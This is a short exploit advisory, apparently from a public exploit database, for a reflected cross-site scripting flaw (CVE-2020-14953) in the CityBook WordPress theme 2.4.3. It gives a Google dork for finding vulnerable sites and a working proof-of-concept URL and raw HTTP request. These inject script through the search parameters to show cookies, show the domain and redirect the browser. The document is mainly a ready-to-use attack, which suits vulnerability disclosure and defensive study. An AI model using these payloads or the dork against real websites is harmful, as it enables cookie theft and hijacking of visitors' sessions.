[+] Exploit Title: CityBook - Directory & Listing WordPress Theme v2.4.3 - Unauthenticated Reflected XSS [+] Google Dork: inurl:/wp-content/themes/citybook/ [+] Date: 2020-06-17 [+] Exploit Author: Vlad Vector [ https://vladvector.ru ] [+] Vendor: CTHthemes [ https://cththemes.com ] [+] Software Version: 2.4.3 [+] Software Link: https://themeforest.net/item/citybook-directory-listing-wordpress-theme/21694727 [+] Tested on: Debian 10 [+] CVE: CVE-2020-14953 [+] CWE: CWE-79 ### [ PoC: ] [!] https://citybook2.cththemes.com/?search_term=&distance=%22%3E%3Cimg%20src=x%20onerror=alert(`VL%CE%9BDV%CE%9ECTOR`)%3E&nearby=&address_lat=%22%3E%3Cimg%20src=x%20onerror=alert(document.cookie);window.location=`https://twitter.com/vlad_vector`;%3E&address_lng=%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E&lcats[]=47 [!] GET /?search_term=&distance=%22%3E%3Cimg%20src=x%20onerror=alert(`VL%CE%9BDV%CE%9ECTOR`)%3E&nearby=&address_lat=%22%3E%3Cimg%20src=x%20onerror=alert(document.cookie);window.location=`https://twitter.com/vlad_vector`;%3E&address_lng=%22%3E%3Cimg%20src=x%20onerror=alert(document.domain)%3E&lcats[]=47 HTTP/1.1 Host: citybook2.cththemes.com ### [ Contacts: ] [#] Website: vladvector.ru [#] Telegram: @vladvector [#] Twitter: @vlad_vector [#] GitHub: @vladvector